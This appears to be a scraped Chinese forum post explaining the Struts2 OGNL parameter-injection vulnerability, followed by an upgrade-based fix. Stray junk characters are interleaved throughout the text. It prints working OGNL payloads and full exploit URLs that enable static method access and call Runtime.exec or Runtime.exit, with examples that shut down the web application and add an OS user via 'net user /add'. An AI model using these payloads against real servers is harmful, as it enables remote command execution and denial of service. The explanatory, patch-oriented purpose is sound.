1、struts2漏洞原理
2 B5 A3 |" D: ZStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:* B+ f& T. a9 }6 }' P9 v4 i
?user.address.city=Bishkek&user['favoriteDrink']=kumys6 t# \* D7 s: h, z# s% O% m
ONGL将它转换为:
, R$ ^) C; H0 W* x' aaction.getUser().getAddress().setCity(“Bishkek”)' f* L: v0 R6 T4 o+ n# l0 [
action.getUser().setFavoriteDrink(“kumys”)
/ S9 t% ^+ r7 I这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:: a" o" }9 h m6 t+ d1 K
方法调用: foo(): b* ]2 Y3 S2 `4 r* E6 k0 r' R% D
静态方法调用: @java.lang.System@exit(1)
- M' I/ \" \/ f2 g! x构造函数调用: new MyClass()2 B- T: G9 ?# f' p
向上下文变量赋值: #foo = new MyClass()
# h$ H; w* ^- J' ^…" s- m" K) S" g: E
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:$ M- P U! D7 ?
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)
: R4 p# Z: P% YSecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)! }% E! @+ Y- [
为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:4 O- e y6 D4 D. e& m+ l8 d
#application! I1 X2 H; b" Y
#session
+ O( p0 p8 K, x: u#request
2 ?. e7 ~1 L. P5 w0 _3 ^#parameters
4 v( ~; z9 E. X: ?" N. R& x#attr
* l5 T1 Z: v' G9 O这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
) C0 e! Z8 C) L* X: W, o T# t+ L除了上面的上下文变量以外,还有下面更多的变量: x5 n' P* ?( x1 H7 ]! ~
#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
+ U" \9 N; z6 H; N5 Y#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.' C7 q C0 @: a! |6 _' N4 }8 A& s
#root7 V! h% k: A3 u& \7 C9 x( ~
#this1 k* q" D1 i; U3 e; @
#_typeResolver
& o1 Z# w/ V3 D8 e4 V5 _#_classResolver
+ N( W. m5 p9 W# J#_traceEvaluations
6 w% _* i" a3 m#_lastEvaluation9 H3 [8 O o) ~; K
#_keepLastEvaluation" I ?8 P u' ~2 h# \9 ~
从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:$ ^* W' u8 f) H/ \0 a
#_memberAccess['allowStaticMethodAccess'] = true4 J: P. V- x3 q W' r" }
#foo = new java .lang.Boolean(“false”)
# k. _/ T# H0 [+ K" s# J' ]#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
6 Y4 j! b" H7 n7 q. k ~#rt = @java.lang.Runtime@getRuntime()
) j( P8 }5 w4 O3 A8 O#rt.exec(‘mkdir /tmp/PWNED’)
6 p! M }: e8 U) E- x9 d) w5 E另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=12 j/ I4 c3 F6 B6 z1 F. ^7 q* g* b6 _, p- m
旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=10 E9 S `0 w/ d( F
OGNL处理时最终的结果就是* e1 z C4 N) |4 ]
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭+ G! r0 h F8 L: D2 C
类似的可以执行
5 h, y$ @1 r8 U* @' d% s1 ajava.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
! c3 ?* D6 o6 c6 R# U4 p2、struts2漏洞解决方法
# w2 g ]& H3 x" ?+ |, S! k将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
' r7 V# ^3 r4 X. k0 e9 X/ Fcommons-lang3-3.1.jar (保留commons-lang-2.6.jar)) K6 E+ J3 y: b9 b* O- b$ o
javassist-3.11.0.GA.jar (新加包)2 v* H; Z' `( R
ognl-3.0.5.jar (替换旧版本)
k U( {* F9 _5 d% w% fstruts2-core-2.3.4.1.jar (替换旧版本)" R& r. }8 u0 q
xwork-core-2.3.4.1.jar (替换旧版本)
: B+ A; [' e; l1 m, x I* w |